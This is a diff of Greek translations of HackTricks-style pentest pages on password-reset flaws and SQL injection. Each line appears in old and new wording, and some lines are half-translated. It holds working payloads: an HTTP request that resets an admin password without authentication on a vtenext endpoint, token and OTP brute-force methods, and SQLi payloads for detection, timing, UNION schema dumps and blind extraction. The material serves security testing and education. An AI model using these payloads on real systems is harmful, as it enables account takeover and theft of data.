- Εφαρμόστε αυστηρές πολιτικές λήξης token και επικυρώστε την λήξη token από την πλευρά του διακομιστή.
|
||||
- Δοκιμή αν ληγμένα tokens μπορούν ακόμα να χρησιμοποιηθούν για επαναφορά κωδικού.
|
||||
- **Μέτρα αντιμετώπισης**:
|
||||
- Εφαρμόστε αυστηρές πολιτικές λήξης token και επικυρώστε τη λήξη του token στο server-side.
|
||||
|
||||
## **Brute Force Token Επαναφοράς Κωδικού**
|
||||
## **Brute Force του Password Reset Token**
|
||||
|
||||
- Προσπάθεια βίαιης δοκιμής του token επαναφοράς χρησιμοποιώντας εργαλεία όπως το Burpsuite και το IP-Rotator για να παρακαμφθούν οι περιορισμοί ρυθμού με βάση την IP.
|
||||
- **Βήματα Ελάφρυνσης**:
|
||||
- Εφαρμόστε ισχυρούς μηχανισμούς περιορισμού ρυθμού και κλειδώματος λογαριασμού.
|
||||
- Παρακολουθήστε ύποπτες δραστηριότητες που υποδεικνύουν επιθέσεις βίαιης δοκιμής.
|
||||
- Προσπάθεια brute-force του reset token χρησιμοποιώντας εργαλεία όπως Burpsuite και IP-Rotator για να παρακάμψετε rate limits βάσει IP.
|
||||
- **Μέτρα αντιμετώπισης**:
|
||||
- Εφαρμόστε ισχυρό rate-limiting και μηχανισμούς κλειδώματος λογαριασμού.
|
||||
- Παρακολουθήστε για ύποπτες δραστηριότητες που υποδηλώνουν brute-force attacks.
|
||||
|
||||
## **Δοκιμάστε να Χρησιμοποιήσετε το Token σας**
|
||||
## **Δοκιμάστε να χρησιμοποιήσετε το token σας**
|
||||
|
||||
- Δοκιμή αν το token επαναφοράς του επιτιθέμενου μπορεί να χρησιμοποιηθεί σε συνδυασμό με το email του θύματος.
|
||||
- **Βήματα Ελάφρυνσης**:
|
||||
- Διασφαλίστε ότι τα tokens είναι δεσμευμένα στη συνεδρία χρήστη ή σε άλλα χαρακτηριστικά που σχετίζονται με τον χρήστη.
|
||||
- Δοκιμή αν το reset token ενός επιτιθέμενου μπορεί να χρησιμοποιηθεί σε συνδυασμό με το email του θύματος.
|
||||
- **Μέτρα αντιμετώπισης**:
|
||||
- Εξασφαλίστε ότι τα tokens συνδέονται με τη συνεδρία χρήστη ή άλλα χρήστη-συγκεκριμένα χαρακτηριστικά.
|
||||
|
||||
## **Ακύρωση Συνεδρίας κατά την Αποσύνδεση/Επαναφορά Κωδικού**
|
||||
## **Ακύρωση συνεδρίας κατά Logout/Password Reset**
|
||||
|
||||
- Διασφάλιση ότι οι συνεδρίες ακυρώνονται όταν ο χρήστης αποσυνδέεται ή επαναφέρει τον κωδικό του.
|
||||
- **Βήματα Ελάφρυνσης**:
|
||||
- Εφαρμόστε σωστή διαχείριση συνεδρίας, διασφαλίζοντας ότι όλες οι συνεδρίες ακυρώνονται κατά την αποσύνδεση ή την επαναφορά κωδικού.
|
||||
- Εξασφάλιση ότι οι συνεδρίες ακυρώνονται όταν ένας χρήστης κάνει logout ή επαναφέρει τον κωδικό του.
|
||||
- **Μέτρα αντιμετώπισης**:
|
||||
- Εφαρμόστε σωστή διαχείριση συνεδριών, εξασφαλίζοντας ότι όλες οι συνεδρίες ακυρώνονται κατά το logout ή την επαναφορά κωδικού.
|
||||
|
||||
## **Ακύρωση Συνεδρίας κατά την Αποσύνδεση/Επαναφορά Κωδικού**
|
||||
## **Ακύρωση συνεδρίας κατά Logout/Password Reset**
|
||||
|
||||
- Τα tokens επαναφοράς θα πρέπει να έχουν χρόνο λήξης μετά τον οποίο γίνονται άκυρα.
|
||||
- **Βήματα Ελάφρυνσης**:
|
||||
- Ορίστε έναν λογικό χρόνο λήξης για τα tokens επαναφοράς και επιβάλετέ τον αυστηρά από την πλευρά του διακομιστή.
|
||||
- Τα reset tokens πρέπει να έχουν χρόνο λήξης μετά τον οποίο γίνονται άκυρα.
|
||||
- **Μέτρα αντιμετώπισης**:
|
||||
- Ορίστε λογικό χρόνο λήξης για τα reset tokens και εφαρμόστε το αυστηρά στο server-side.
|
||||
|
||||
## **Παράκαμψη περιορισμού ρυθμού OTP αλλάζοντας τη συνεδρία σας**
|
||||
## **Παράκαμψη rate limit OTP αλλάζοντας τη συνεδρία σας**
|
||||
|
||||
- Εάν η ιστοσελίδα χρησιμοποιεί τη συνεδρία χρήστη για να παρακολουθεί τις λανθασμένες προσπάθειες OTP και το OTP ήταν αδύναμο (<= 4 ψηφία), τότε μπορούμε να δοκιμάσουμε βίαια το OTP.
|
||||
- Εάν ο ιστότοπος χρησιμοποιεί τη συνεδρία χρήστη για να παρακολουθεί λανθασμένες προσπάθειες OTP και το OTP είναι αδύναμο ( <= 4 ψηφία), τότε μπορούμε ουσιαστικά να κάνουμε bruteforce το OTP.
|
||||
- **εκμετάλλευση**:
|
||||
- απλώς ζητήστε ένα νέο token συνεδρίας μετά την αποκλεισμό από τον διακομιστή.
|
||||
- **Παράδειγμα** κώδικα που εκμεταλλεύεται αυτό το σφάλμα μαντεύοντας τυχαία το OTP (όταν αλλάξετε τη συνεδρία, το OTP θα αλλάξει επίσης, και έτσι δεν θα μπορέσουμε να το δοκιμάσουμε διαδοχικά!):
|
||||
- απλά αιτηθείτε νέο session token μετά το μπλοκάρισμα από τον server.
|
||||
- **Παράδειγμα** κώδικα που εκμεταλλεύεται αυτό το σφάλμα μαντεύοντας τυχαία το OTP (όταν αλλάζετε τη συνεδρία, το OTP θα αλλάξει επίσης, και έτσι δεν θα μπορούμε να το brute-force σειριακά!):
|
||||
|
||||
``` python
|
||||
# Authentication bypass by password reset
|
||||
@ -230,8 +231,45 @@ except Exception as e:
|
||||
print("[+] Attck stopped")
|
||||
```
|
||||
|
||||
## Αυθαίρετη επαναφορά κωδικού μέσω skipOldPwdCheck (pre-auth)
|
||||
|
||||
Ορισμένες υλοποιήσεις εκθέτουν μια ενέργεια αλλαγής κωδικού που καλεί τη ρουτίνα αλλαγής κωδικού με skipOldPwdCheck=true και δεν επαληθεύει κανένα reset token ή ιδιοκτησία. Εάν το endpoint δέχεται μια παράμετρο action όπως change_password και ένα username/new password στο σώμα του αιτήματος, ένας επιτιθέμενος μπορεί να επαναφέρει αυθαίρετους λογαριασμούς pre-auth.
|
||||
|
||||
Ευάλωτο μοτίβο (PHP):
|
||||
```php
|
||||
// hub/rpwd.php
|
||||
RequestHandler::validateCSRFToken();
|
||||
$RP = new RecoverPwd();
|
||||
$RP->process($_REQUEST, $_POST);
|
||||
|
||||
// modules/Users/RecoverPwd.php
|
||||
if ($request['action'] == 'change_password') {
|
||||
$body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']);
|
||||
}
|
||||
|
||||
public function displayChangePwd($smarty, $username, $newpwd) {
|
||||
$current_user = CRMEntity::getInstance('Users');
|
||||
$current_user->id = $current_user->retrieve_user_id($username);
|
||||
// ... criteria checks omitted ...
|
||||
$current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true
|
||||
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
|
||||
}
|
||||
```
|
||||
Αίτημα εκμετάλλευσης (έννοια):
|
||||
```http
|
||||
POST /hub/rpwd.php HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!
|
||||
```
|
||||
Μέτρα αντιμετώπισης:
|
||||
- Απαιτείτε πάντα ένα έγκυρο, χρονικά περιορισμένο reset token δεσμευμένο στον λογαριασμό και στη συνεδρία πριν από την αλλαγή του password.
|
||||
- Ποτέ μην εκθέτετε μονοπάτια skipOldPwdCheck σε μη πιστοποιημένους χρήστες; επιβάλετε έλεγχο ταυτότητας για τις κανονικές αλλαγές password και επαληθεύστε το παλιό password.
|
||||
- Ακυρώστε όλες τις ενεργές συνεδρίες και όλα τα reset tokens μετά από μια αλλαγή password.
|
||||
|
||||
## Αναφορές
|
||||
|
||||
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
|
||||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Τι είναι η SQL injection;
|
||||
## Τι είναι το SQL injection;
|
||||
|
||||
Μια **SQL injection** είναι μια αδυναμία ασφαλείας που επιτρέπει στους επιτιθέμενους να **παρεμβαίνουν σε ερωτήματα βάσης δεδομένων** μιας εφαρμογής. Αυτή η ευπάθεια μπορεί να επιτρέψει στους επιτιθέμενους να **δουν**, **τροποποιήσουν** ή **διαγράψουν** δεδομένα που δεν θα έπρεπε να έχουν πρόσβαση, συμπεριλαμβανομένων πληροφοριών άλλων χρηστών ή οποιαδήποτε δεδομένα μπορεί να έχει πρόσβαση η εφαρμογή. Τέτοιες ενέργειες μπορεί να οδηγήσουν σε μόνιμες αλλαγές στη λειτουργικότητα ή το περιεχόμενο της εφαρμογής ή ακόμα και σε παραβίαση του διακομιστή ή άρνηση υπηρεσίας.
|
||||
Ένα **SQL injection** είναι ένα κενό ασφάλειας που επιτρέπει σε επιτιθέμενους να **παρεμβαίνουν στα ερωτήματα της βάσης δεδομένων** μιας εφαρμογής. Αυτή η ευπάθεια μπορεί να επιτρέψει σε επιτιθέμενους να **δούν**, **τροποποιήσουν** ή **διαγράψουν** δεδομένα στα οποία δεν θα έπρεπε να έχουν πρόσβαση, συμπεριλαμβανομένων πληροφοριών άλλων χρηστών ή οποιωνδήποτε δεδομένων στα οποία έχει πρόσβαση η εφαρμογή. Τέτοιες ενέργειες μπορεί να οδηγήσουν σε μόνιμες αλλαγές στη λειτουργικότητα ή στο περιεχόμενο της εφαρμογής ή ακόμα και σε παραβίαση του διακομιστή ή denial of service.
|
||||
|
||||
## Ανίχνευση σημείου εισόδου
|
||||
|
||||
Όταν μια ιστοσελίδα φαίνεται να είναι **ευάλωτη σε SQL injection (SQLi)** λόγω ασυνήθιστων απαντήσεων του διακομιστή σε εισόδους σχετικές με SQLi, το **πρώτο βήμα** είναι να κατανοήσουμε πώς να **εισάγουμε δεδομένα στο ερώτημα χωρίς να το διαταράξουμε**. Αυτό απαιτεί την αναγνώριση της μεθόδου για **να ξεφύγουμε από το τρέχον πλαίσιο** αποτελεσματικά. Αυτά είναι μερικά χρήσιμα παραδείγματα:
|
||||
Όταν ένας ιστότοπος φαίνεται να είναι **ευάλωτος σε SQL injection (SQLi)** λόγω ασυνήθιστων αποκρίσεων του διακομιστή σε εισροές σχετικές με SQLi, το **πρώτο βήμα** είναι να κατανοήσουμε πώς να **ενέχουμε δεδομένα στο ερώτημα χωρίς να το διαταράξουμε**. Αυτό απαιτεί την αναγνώριση της μεθόδου για να **ξεφύγουμε από το τρέχον πλαίσιο** αποτελεσματικά. Ακολουθούν μερικά χρήσιμα παραδείγματα:
|
||||
```
|
||||
[Nothing]
|
||||
'
|
||||
@ -21,9 +21,9 @@
|
||||
"))
|
||||
`))
|
||||
```
|
||||
Τότε, πρέπει να ξέρετε πώς να **διορθώσετε το ερώτημα ώστε να μην υπάρχουν σφάλματα**. Για να διορθώσετε το ερώτημα μπορείτε να **εισάγετε** δεδομένα ώστε το **προηγούμενο ερώτημα να αποδεχτεί τα νέα δεδομένα**, ή μπορείτε απλά να **εισάγετε** τα δεδομένα σας και να **προσθέσετε ένα σύμβολο σχολίου στο τέλος**.
|
||||
Έπειτα, πρέπει να ξέρεις πώς να **διορθώσεις το query ώστε να μην υπάρχουν errors**. Για να διορθώσεις το query, μπορείς να **input** δεδομένα έτσι ώστε το **previous query accept the new data**, ή μπορείς απλώς να **input** τα δεδομένα σου και να **add a comment symbol add the end**.
|
||||
|
||||
_Σημειώστε ότι αν μπορείτε να δείτε μηνύματα σφάλματος ή μπορείτε να εντοπίσετε διαφορές όταν ένα ερώτημα λειτουργεί και όταν δεν λειτουργεί, αυτή η φάση θα είναι πιο εύκολη._
|
||||
_Σημείωση: αν μπορείς να δεις error messages ή μπορείς να εντοπίσεις διαφορές όταν ένα query λειτουργεί και όταν δεν λειτουργεί, αυτή η φάση θα είναι πιο εύκολη._
|
||||
|
||||
### **Σχόλια**
|
||||
```sql
|
||||
@ -51,13 +51,13 @@ SQLite
|
||||
HQL
|
||||
HQL does not support comments
|
||||
```
|
||||
### Επιβεβαίωση με λογικές λειτουργίες
|
||||
### Επιβεβαίωση με λογικές πράξεις
|
||||
|
||||
Μια αξιόπιστη μέθοδος για την επιβεβαίωση μιας ευπάθειας SQL injection περιλαμβάνει την εκτέλεση μιας **λογικής λειτουργίας** και την παρατήρηση των αναμενόμενων αποτελεσμάτων. Για παράδειγμα, μια παράμετρος GET όπως `?username=Peter` που αποδίδει ταυτόσημο περιεχόμενο όταν τροποποιηθεί σε `?username=Peter' or '1'='1` υποδεικνύει μια ευπάθεια SQL injection.
|
||||
Μια αξιόπιστη μέθοδος για να επιβεβαιώσετε μια ευπάθεια SQL injection περιλαμβάνει την εκτέλεση μίας **λογικής πράξης** και την παρατήρηση των αναμενόμενων αποτελεσμάτων. Για παράδειγμα, ένα GET parameter όπως `?username=Peter` που επιστρέφει τα ίδια αποτελέσματα όταν τροποποιηθεί σε `?username=Peter' or '1'='1` υποδηλώνει ευπάθεια SQL injection.
|
||||
|
||||
Ομοίως, η εφαρμογή **μαθηματικών λειτουργιών** χρησιμεύει ως μια αποτελεσματική τεχνική επιβεβαίωσης. Για παράδειγμα, αν η πρόσβαση σε `?id=1` και `?id=2-1` παράγει το ίδιο αποτέλεσμα, αυτό είναι ενδεικτικό SQL injection.
|
||||
Παρομοίως, η εφαρμογή **μαθηματικών πράξεων** λειτουργεί ως αποτελεσματική τεχνική επιβεβαίωσης. Για παράδειγμα, αν η πρόσβαση σε `?id=1` και `?id=2-1` παράγει το ίδιο αποτέλεσμα, αυτό υποδηλώνει SQL injection.
|
||||
|
||||
Παραδείγματα που δείχνουν την επιβεβαίωση λογικών λειτουργιών:
|
||||
Παραδείγματα που δείχνουν επιβεβαίωση με λογικές πράξεις:
|
||||
```
|
||||
page.asp?id=1 or 1=1 -- results in true
|
||||
page.asp?id=1' or 1=1 -- results in true
|
||||
@ -67,7 +67,7 @@ page.asp?id=1 and 1=2 -- results in false
|
||||
Αυτή η λίστα λέξεων δημιουργήθηκε για να προσπαθήσει να **επιβεβαιώσει SQLinjections** με τον προτεινόμενο τρόπο:
|
||||
|
||||
<details>
|
||||
<summary>Αληθινό SQLi</summary>
|
||||
<summary>True SQLi</summary>
|
||||
```
|
||||
true
|
||||
1
|
||||
@ -154,10 +154,10 @@ true
|
||||
```
|
||||
</details>
|
||||
|
||||
### Επιβεβαίωση με Χρόνο
|
||||
### Επιβεβαίωση με Χρονισμό
|
||||
|
||||
Σε ορισμένες περιπτώσεις **δεν θα παρατηρήσετε καμία αλλαγή** στη σελίδα που δοκιμάζετε. Επομένως, ένας καλός τρόπος για να **ανακαλύψετε κρυφές SQL injections** είναι να κάνετε τη βάση δεδομένων να εκτελεί ενέργειες που θα έχουν **επίδραση στον χρόνο** που χρειάζεται η σελίδα για να φορτώσει.\
|
||||
Επομένως, θα προσθέσουμε στην SQL ερώτηση μια ενέργεια που θα χρειαστεί πολύ χρόνο για να ολοκληρωθεί:
|
||||
Σε μερικές περιπτώσεις **δεν θα παρατηρήσετε καμία αλλαγή** στη σελίδα που δοκιμάζετε. Επομένως, ένας καλός τρόπος για να **discover blind SQL injections** είναι να κάνετε το DB να εκτελεί ενέργειες που θα έχουν **επίδραση στον χρόνο** φόρτωσης της σελίδας.\
|
||||
Επομένως, πρόκειται να concat στην SQL query μια ενέργεια που θα χρειαστεί πολύ χρόνο για να ολοκληρωθεί:
|
||||
```
|
||||
MySQL (string concat and logical ops)
|
||||
1' + sleep(10)
|
||||
@ -179,11 +179,11 @@ SQLite
|
||||
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
|
||||
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
|
||||
```
|
||||
Σε ορισμένες περιπτώσεις οι **λειτουργίες ύπνου δεν θα επιτρέπονται**. Τότε, αντί να χρησιμοποιήσετε αυτές τις λειτουργίες, μπορείτε να κάνετε το ερώτημα **να εκτελεί σύνθετες λειτουργίες** που θα διαρκέσουν αρκετά δευτερόλεπτα. _Παραδείγματα αυτών των τεχνικών θα σχολιαστούν ξεχωριστά για κάθε τεχνολογία (αν υπάρχουν)_.
|
||||
Σε ορισμένες περιπτώσεις οι **sleep functions δεν θα επιτρέπονται**. Τότε, αντί να χρησιμοποιήσεις αυτές τις συναρτήσεις μπορείς να κάνεις το query να **εκτελεί σύνθετες λειτουργίες** που θα πάρουν μερικά δευτερόλεπτα. _Παραδείγματα αυτών των τεχνικών θα σχολιαστούν χωριστά σε κάθε τεχνολογία (αν υπάρχουν)_.
|
||||
|
||||
### Αναγνώριση Back-end
|
||||
|
||||
Ο καλύτερος τρόπος για να αναγνωρίσετε το back-end είναι να προσπαθήσετε να εκτελέσετε λειτουργίες των διαφόρων back-end. Μπορείτε να χρησιμοποιήσετε τις _**λειτουργίες ύπνου**_ **της προηγούμενης ενότητας** ή αυτές (πίνακας από [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
|
||||
Ο καλύτερος τρόπος για να αναγνωρίσεις το back-end είναι να δοκιμάσεις να εκτελέσεις συναρτήσεις από τα διαφορετικά back-ends. Μπορείς να χρησιμοποιήσεις τις _**sleep**_ **functions** της προηγούμενης ενότητας ή αυτές εδώ (πίνακας από [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
|
||||
```bash
|
||||
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
|
||||
["connection_id()=connection_id()" ,"MYSQL"],
|
||||
@ -211,29 +211,29 @@ SQLite
|
||||
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||||
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||||
```
|
||||
Επίσης, αν έχετε πρόσβαση στην έξοδο του ερωτήματος, μπορείτε να κάνετε **εκτύπωση της έκδοσης της βάσης δεδομένων**.
|
||||
Επίσης, εάν έχετε πρόσβαση στο αποτέλεσμα του query, θα μπορούσατε να το κάνετε **να εκτυπώσει την έκδοση της βάσης δεδομένων**.
|
||||
|
||||
> [!TIP]
|
||||
> Σε μια συνέχεια, θα συζητήσουμε διάφορες μεθόδους για να εκμεταλλευτούμε διάφορους τύπους SQL Injection. Θα χρησιμοποιήσουμε το MySQL ως παράδειγμα.
|
||||
> Στη συνέχεια, θα συζητήσουμε διαφορετικές μεθόδους για να εκμεταλλευτούμε διαφορετικούς τύπους SQL Injection. Θα χρησιμοποιήσουμε το MySQL ως παράδειγμα.
|
||||
|
||||
### Αναγνώριση με PortSwigger
|
||||
### Εντοπισμός με PortSwigger
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://portswigger.net/web-security/sql-injection/cheat-sheet
|
||||
{{#endref}}
|
||||
|
||||
## Εκμετάλλευση Βασισμένη σε Union
|
||||
## Εκμετάλλευση Union Based
|
||||
|
||||
### Ανίχνευση αριθμού στηλών
|
||||
|
||||
Αν μπορείτε να δείτε την έξοδο του ερωτήματος, αυτή είναι η καλύτερη μέθοδος για να το εκμεταλλευτείτε.\
|
||||
Πρώτα απ' όλα, πρέπει να ανακαλύψουμε τον **αριθμό** των **στηλών** που επιστρέφει το **αρχικό αίτημα**. Αυτό συμβαίνει επειδή **και τα δύο ερωτήματα πρέπει να επιστρέφουν τον ίδιο αριθμό στηλών**.\
|
||||
Δύο μέθοδοι χρησιμοποιούνται συνήθως για αυτόν τον σκοπό:
|
||||
If you can see the output of the query this is the best way to exploit it.\
|
||||
Πρώτα απ' όλα, χρειάζεται να βρούμε τον **αριθμό** των **στηλών** που επιστρέφει το **αρχικό αίτημα**. Αυτό συμβαίνει επειδή **και τα δύο queries πρέπει να επιστρέφουν τον ίδιο αριθμό στηλών**.\
|
||||
Συνήθως χρησιμοποιούνται δύο μέθοδοι για αυτόν τον σκοπό:
|
||||
|
||||
#### Order/Group by
|
||||
|
||||
Για να προσδιορίσετε τον αριθμό των στηλών σε ένα ερώτημα, προσαρμόστε σταδιακά τον αριθμό που χρησιμοποιείται στις ρήτρες **ORDER BY** ή **GROUP BY** μέχρι να ληφθεί μια ψευδής απάντηση. Παρά τις διαφορετικές λειτουργίες των **GROUP BY** και **ORDER BY** μέσα στο SQL, και οι δύο μπορούν να χρησιμοποιηθούν με τον ίδιο τρόπο για να προσδιορίσουν τον αριθμό των στηλών του ερωτήματος.
|
||||
Για να προσδιορίσετε τον αριθμό των στηλών σε ένα ερώτημα, τροποποιείτε σταδιακά τον αριθμό που χρησιμοποιείται στις ρήτρες **ORDER BY** ή **GROUP BY** μέχρι να ληφθεί μια λάθος απάντηση. Παρά τις διαφορετικές λειτουργίες των **GROUP BY** και **ORDER BY** στο SQL, και οι δύο μπορούν να χρησιμοποιηθούν με τον ίδιο τρόπο για να εξακριβωθεί ο αριθμός στηλών του ερωτήματος.
|
||||
```sql
|
||||
1' ORDER BY 1--+ #True
|
||||
1' ORDER BY 2--+ #True
|
||||
@ -251,17 +251,17 @@ https://portswigger.net/web-security/sql-injection/cheat-sheet
|
||||
```
|
||||
#### UNION SELECT
|
||||
|
||||
Επιλέξτε όλο και περισσότερες τιμές null μέχρι η ερώτηση να είναι σωστή:
|
||||
Select όλο και περισσότερα null values μέχρι το query να είναι σωστό:
|
||||
```sql
|
||||
1' UNION SELECT null-- - Not working
|
||||
1' UNION SELECT null,null-- - Not working
|
||||
1' UNION SELECT null,null,null-- - Worked
|
||||
```
|
||||
_Πρέπει να χρησιμοποιείτε τιμές `null`, καθώς σε ορισμένες περιπτώσεις ο τύπος των στηλών και στις δύο πλευρές του ερωτήματος πρέπει να είναι ο ίδιος και το null είναι έγκυρο σε κάθε περίπτωση._
|
||||
_Θα πρέπει να χρησιμοποιείτε `null` τιμές καθώς σε ορισμένες περιπτώσεις ο τύπος των στηλών και από τις δύο πλευρές του query πρέπει να είναι ο ίδιος και το `null` είναι έγκυρο σε κάθε περίπτωση._
|
||||
|
||||
### Εξαγωγή ονομάτων βάσεων δεδομένων, ονομάτων πινάκων και ονομάτων στηλών
|
||||
|
||||
Στα επόμενα παραδείγματα θα ανακτήσουμε το όνομα όλων των βάσεων δεδομένων, το όνομα του πίνακα μιας βάσης δεδομένων, τα ονόματα των στηλών του πίνακα:
|
||||
Στα επόμενα παραδείγματα θα ανακτήσουμε τα ονόματα όλων των βάσεων δεδομένων, το όνομα των πινάκων μιας βάσης δεδομένων και τα ονόματα των στηλών ενός πίνακα:
|
||||
```sql
|
||||
#Database names
|
||||
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
|
||||
@ -272,53 +272,53 @@ _Πρέπει να χρησιμοποιείτε τιμές `null`, καθώς σ
|
||||
#Column names
|
||||
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
|
||||
```
|
||||
_Υπάρχει ένας διαφορετικός τρόπος για να ανακαλύψετε αυτά τα δεδομένα σε κάθε διαφορετική βάση δεδομένων, αλλά η μεθοδολογία είναι πάντα η ίδια._
|
||||
_Υπάρχει ένας διαφορετικός τρόπος να ανακαλύψετε αυτά τα δεδομένα σε κάθε διαφορετική database, αλλά είναι πάντα η ίδια μεθοδολογία._
|
||||
|
||||
## Exploiting Hidden Union Based
|
||||
|
||||
Όταν η έξοδος ενός ερωτήματος είναι ορατή, αλλά μια ένεση βασισμένη σε union φαίνεται ανέφικτη, αυτό σημαίνει την παρουσία μιας **κρυφής ένεσης βασισμένης σε union**. Αυτό το σενάριο συχνά οδηγεί σε μια κατάσταση τυφλής ένεσης. Για να μετατρέψετε μια τυφλή ένεση σε μια βασισμένη σε union, πρέπει να διακριθεί το ερώτημα εκτέλεσης στο backend.
|
||||
When the output of a query is visible, but a union-based injection seems unachievable, it signifies the presence of a **hidden union-based injection**. This scenario often leads to a blind injection situation. Για να μετατρέψετε μια blind injection σε union-based, πρέπει να εντοπίσετε την execution query στο backend.
|
||||
|
||||
Αυτό μπορεί να επιτευχθεί μέσω της χρήσης τεχνικών τυφλής ένεσης μαζί με τους προεπιλεγμένους πίνακες που είναι συγκεκριμένοι για το Σύστημα Διαχείρισης Βάσεων Δεδομένων (DBMS) στόχου σας. Για να κατανοήσετε αυτούς τους προεπιλεγμένους πίνακες, συνιστάται να συμβουλευτείτε την τεκμηρίωση του DBMS στόχου.
|
||||
Αυτό μπορεί να επιτευχθεί με χρήση blind injection techniques σε συνδυασμό με τις default tables του target Database Management System (DBMS). Για να κατανοήσετε αυτές τις default tables, συνιστάται να συμβουλευτείτε την τεκμηρίωση του target DBMS.
|
||||
|
||||
Αφού έχει εξαχθεί το ερώτημα, είναι απαραίτητο να προσαρμόσετε το payload σας ώστε να κλείσει με ασφάλεια το αρχικό ερώτημα. Στη συνέχεια, προστίθεται ένα ερώτημα union στο payload σας, διευκολύνοντας την εκμετάλλευση της νέας προσβάσιμης ένεσης βασισμένης σε union.
|
||||
Μόλις η query εξαχθεί, είναι απαραίτητο να προσαρμόσετε το payload σας ώστε να κλείσει με ασφάλεια την αρχική query. Κατόπιν, μια union query προστίθεται στο payload σας, επιτρέποντας την εκμετάλλευση της πρόσφατα προσβάσιμης union-based injection.
|
||||
|
||||
Για πιο ολοκληρωμένες πληροφορίες, ανατρέξτε στο πλήρες άρθρο που είναι διαθέσιμο στο [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
|
||||
For more comprehensive insights, refer to the complete article available at [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
|
||||
|
||||
## Exploiting Error based
|
||||
|
||||
Εάν για κάποιο λόγο **δεν μπορείτε** να δείτε την **έξοδο** του **ερωτήματος** αλλά μπορείτε να **δείτε τα μηνύματα σφάλματος**, μπορείτε να κάνετε αυτά τα μηνύματα σφάλματος να **εξάγουν** δεδομένα από τη βάση δεδομένων.\
|
||||
Ακολουθώντας μια παρόμοια ροή όπως στην εκμετάλλευση βασισμένη σε Union, θα μπορούσατε να καταφέρετε να εξάγετε τη βάση δεδομένων.
|
||||
Αν για κάποιο λόγο **δεν μπορείτε** να δείτε το **output** της **query** αλλά μπορείτε να **see the error messages**, μπορείτε να κάνετε αυτά τα error messages να **ex-filtrate** δεδομένα από τη database.\
|
||||
Ακολουθώντας μια παρόμοια ροή όπως στην Union Based exploitation, θα μπορούσατε να καταφέρετε να dump το DB.
|
||||
```sql
|
||||
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
|
||||
```
|
||||
## Εκμετάλλευση Blind SQLi
|
||||
## Exploiting Blind SQLi
|
||||
|
||||
Σε αυτή την περίπτωση δεν μπορείτε να δείτε τα αποτελέσματα του ερωτήματος ή τα σφάλματα, αλλά μπορείτε να **διακρίνετε** πότε το ερώτημα **επιστρέφει** μια **αληθή** ή μια **ψευδή** απάντηση επειδή υπάρχουν διαφορετικά περιεχόμενα στη σελίδα.\
|
||||
Σε αυτή την περίπτωση, μπορείτε να εκμεταλλευτείτε αυτή τη συμπεριφορά για να εξάγετε τη βάση δεδομένων χαρακτήρα προς χαρακτήρα:
|
||||
Σε αυτή την περίπτωση δεν μπορείτε να δείτε τα αποτελέσματα του query ή τα σφάλματα, αλλά μπορείτε να **distinguished** πότε το query **return** μια **true** ή μια **false** απάντηση επειδή υπάρχει διαφορετικό περιεχόμενο στη σελίδα.\
|
||||
Σε αυτή την περίπτωση μπορείτε να εκμεταλλευτείτε αυτή τη συμπεριφορά για να dump τη βάση δεδομένων χαρακτήρα-χαρακτήρα:
|
||||
```sql
|
||||
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
|
||||
```
|
||||
## Exploiting Error Blind SQLi
|
||||
|
||||
Αυτή είναι η **ίδια περίπτωση όπως πριν** αλλά αντί να διακρίνετε μεταξύ μιας αληθινής/ψευδούς απάντησης από το ερώτημα μπορείτε να **διακρίνετε μεταξύ** ενός **σφάλματος** στο SQL ερώτημα ή όχι (ίσως επειδή ο HTTP server καταρρέει). Επομένως, σε αυτή την περίπτωση μπορείτε να προκαλέσετε ένα SQLerror κάθε φορά που μαντεύετε σωστά τον χαρακτήρα:
|
||||
Αυτή είναι η **ίδια περίπτωση όπως πριν**, αλλά αντί να διακρίνετε μεταξύ μιας απάντησης true/false από το query, μπορείτε να **διακρίνετε** εάν υπάρχει **error** στο SQL query ή όχι (ίσως επειδή ο HTTP server καταρρέει). Επομένως, σε αυτή την περίπτωση μπορείτε να προκαλέσετε ένα SQLerror κάθε φορά που μαντεύετε σωστά το char:
|
||||
```sql
|
||||
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
||||
```
|
||||
## Εκμετάλλευση Χρονικά Βασισμένου SQLi
|
||||
## Εκμετάλλευση Time Based SQLi
|
||||
|
||||
